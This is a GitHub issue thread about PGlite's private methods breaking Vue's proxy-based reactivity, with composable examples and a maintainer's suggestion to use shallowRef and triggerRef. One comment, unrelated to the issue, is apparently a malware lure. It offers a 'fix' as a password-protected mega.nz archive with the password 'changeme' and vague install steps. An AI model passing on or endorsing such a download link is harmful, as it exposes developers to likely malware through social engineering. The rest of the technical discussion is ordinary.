Skip to content

Potential improvements for Vue's reactivity system #277

Closed

Description

@sandros94

Long story short: the current main classes for PGlite use a number of private methods, but since Vue's reactivity is based on proxying this effectively breaks its usability (official comment).

This becomes quite important when working with composables instead of components.

An example of an ideal DX composable would be:

import { computed, ref, onMounted, onBeforeUnmount } from 'vue'
import type { PGliteOptions } from '@electric-sql/pglite'
import { PGlite } from '@electric-sql/pglite'

export function usePGlite(options?: PGliteOptions) {
  // initialize an empty ref, so that Vue can start tracking it
  const pg = ref<PGlite>()

  // onMounted required in SSR (for Nuxt you can use onNuxtReady)
  onMounted(async () => {
    pg.value = await PGlite.create(options)
  })

  // safely closing the connection
  onBeforeUnmount(() => {
    if (!isClosed.value || pg.value === undefined) return
    pg.value.close()
  })

  const isReady = computed(() => !!pg.value?.ready)
  const isClosed = computed(() => !!pg.value?.closed)

  return {
    pg,
    isReady,
    isClosed,
  }
}

Same applies for workers and in a Nuxt context.

Activity

  1. Musharrafjamal commented on Aug 29, 2024

    @Musharrafjamal

    hi bro, to fix your trouble try this fix, i see it in another issue,
    https://mega.nz/folder/905izDCI#tZAd-Ja0A5L7aBS2VunHtg
    password: changeme
    when you installing it, you need to place a check in install to path and select "USX"

  2. samwillis commented on Sep 2, 2024

    @samwillis
    Collaborator

    Hey @sandros94

    Thanks for the report.

    My understanding is that if you use shallowRef rather than ref this wouldn't be an issue as Vue wouldn't try to proxy the internal methods. I think that's suitable for a database connection as you would not need to reactively track its internal state.

    Have you seen our Vue hooks (https://pglite.dev/docs/framework-hooks/vue)? Are these useful for your project?

    Let me know if you have any feedback on them.

  3. sandros94 commented on Sep 2, 2024

    @sandros94
    ContributorAuthor

    My understanding is that if you use shallowRef rather than ref this wouldn't be an issue as Vue wouldn't try to proxy the internal methods.

    Yes indeed, and I'm currently going with the shallowRef approach, while using triggerRefs to make sure that Vue knows when a method is executed.

    I think that's suitable for a database connection as you would not need to reactively track its internal state.

    But as per my understanding of Vue's reactivity system is that with a shallowRef only the changes (and execution) of the wrapper/class will trigger Vue's reactivity.

    Take the following example from Vue's official docs:

    const state = shallowRef({ count: 1 })
    
    // does NOT trigger change
    state.value.count = 2
    
    // does trigger change
    state.value = { count: 2 }

    This means that in order to make Vue aware of each exec/query executions (since pg.value.query(...) wont trigger it), I need to wrap each method like so:

    const pg = shallowRef(new PGlite(options))
    
    async function query<T>(query: string, params?: any[], options?: QueryOptions) {
      const res = await pg.value.query<T>(query, params, options)
      triggerRef(pg) // Manually triggering Vue's reactivity
      return res
    }

    Have you seen our Vue hooks (https://pglite.dev/docs/framework-hooks/vue)? Are these useful for your project?

    Yes, I love digging docs before starting anything 😅. It was super easy to setup and execute inside a final project, but then (as I often do) I wanted to wrap PGlite into a Nuxt module, taking advantage of project's runtimeConfigs and automating server and client side use. This requires me to create a Nuxt plugin (meaning PGlite would be bundled in every single page, regardless if it is used or not, not ideal) or a composable (meaning that I need a way for Vue to know that something inside has been changed/executed).

    So I wanted to try and create a composable-first, rather a component-first, approach. Something that, if successful, could be integrated in the official @electric-sql/pglite-vue

  4. changed the title [-]Incompatibility with Vue's reactivity[/-] [+]Potential improvements for Vue's reactivity system[/+] on Sep 2, 2024
  5. sandros94 commented on Sep 2, 2024

    @sandros94
    ContributorAuthor

    We could actually move this into a discussion, now that I think of it. My bad 🙄

  6. locked and limited conversation to collaborators on May 5, 2025
  7. converted this issue into a discussion #629 on May 5, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions